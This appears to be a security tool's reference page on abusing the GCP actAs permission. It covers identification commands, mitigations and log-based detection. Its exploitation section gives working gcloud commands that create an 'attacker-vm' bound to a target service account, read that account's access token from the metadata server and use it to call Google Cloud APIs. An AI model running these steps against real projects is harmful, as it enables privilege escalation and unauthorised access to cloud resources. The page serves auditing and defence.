GCP_ACT_AS_SA

Summary

Forestall ACL Alias	GCP_ACT_AS_SA
GCP Alias	Persistence & Impersonation
Affected Object Types	Service Accounts
Exploitation Certainty	Likely
Granting Roles	roles/owner, roles/editor, roles/iam.serviceAccountUser

Description

GCP_ACT_AS_SA indicates that an identity holds iam.serviceAccounts.actAs permission on a GCP Service Account. This permission allows the identity to attach the target SA to GCP infrastructure — specifically when creating or updating VMs, Cloud Run services, Cloud Functions, App Engine apps, or GKE node pools.

Unlike GCP_IMPERSONATE_SA (which generates tokens directly), GCP_ACT_AS_SA requires a compute vehicle: the attacker must spin up or modify an infrastructure resource to attach the target SA, then extract its access token from the GCP metadata server.

Key abuse scenarios:

• Create a VM with the target SA attached → SSH into VM → extract token from metadata server → use as target SA.
• Deploy a Cloud Run service using the target SA → invoke the service → exfiltrate the SA’s token from within.
• Modify an existing VM’s SA attachment to swap in a higher-privilege SA.

Identification

gcloud CLIGCP Console

gcloud CLI

# Find who has iam.serviceAccountUser role (grants actAs)
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("owner|editor|serviceAccountUser")) | {role: .role, members: .members}'

# Check SA-level actAs grants
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null)
  BINDINGS=$(echo $POLICY | jq -r '.bindings // [] | .[] | select(.role == "roles/iam.serviceAccountUser")' 2>/dev/null)
  if [ ! -z "$BINDINGS" ]; then
    echo "=== $SA ===" && echo $BINDINGS
  fi
done

# Check which VMs are running with high-privilege SAs
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, serviceAccounts[].email)"

GCP Console

1. Open GCP Console → IAM & Admin → Service Accounts.
2. Click a service account → Principals with access tab.
3. Look for principals with Service Account User role.

Exploitation

This path requires both GCP_ACT_AS_SA and a compute creation capability. → see GCP_CREATE_COMPUTE.

gcloud CLI

# Create a VM attached to the target SA.
TARGET_SA="[email protected]"
PROJECT_ID="target-project"
ZONE="us-central1-a"

gcloud compute instances create attacker-vm \
  --project=$PROJECT_ID \
  --zone=$ZONE \
  --machine-type=e2-micro \
  --service-account=$TARGET_SA \
  --scopes=cloud-platform \
  --metadata=startup-script='#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
echo "$TOKEN" > /tmp/token.json'

# SSH into the VM
gcloud compute ssh attacker-vm --zone=$ZONE --project=$PROJECT_ID

# From inside the VM:
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use the token as the target SA
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

Mitigation

1. Restrict roles/iam.serviceAccountUser — assign only when necessary and scope to the minimum required SA, not project-wide.
2. Disable default SA binding on new VMs using org policy: constraints/compute.disableDefaultServiceAccountCreation
3. Block project-default SA at compute creation with constraints/compute.requireOsLogin.
4. Audit VM service account assignments — verify all VMs use purpose-specific minimal SAs.
5. Enable OS Login to restrict SSH access and tie it to IAM identity.

Detection

Log Type	Method	Key Fields
Admin Activity	*compute.instances.insert	resource.type=gce_instance, SA field in request
Admin Activity	*compute.instances.setServiceAccount	SA changed on existing VM

gcloud logging read \
  'protoPayload.methodName=~"compute.instances.insert" AND protoPayload.request.serviceAccounts.email!=""' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.name, protoPayload.request.serviceAccounts)"

Alert on:

• VM creation or SA modification attaching a privileged SA to a VM by an unexpected principal.
• Metadata server token requests from VMs created within the last 24 hours.

References

• https://cloud.google.com/iam/docs/service-accounts#the_service_account_user_role
• https://cloud.google.com/compute/docs/access/service-accounts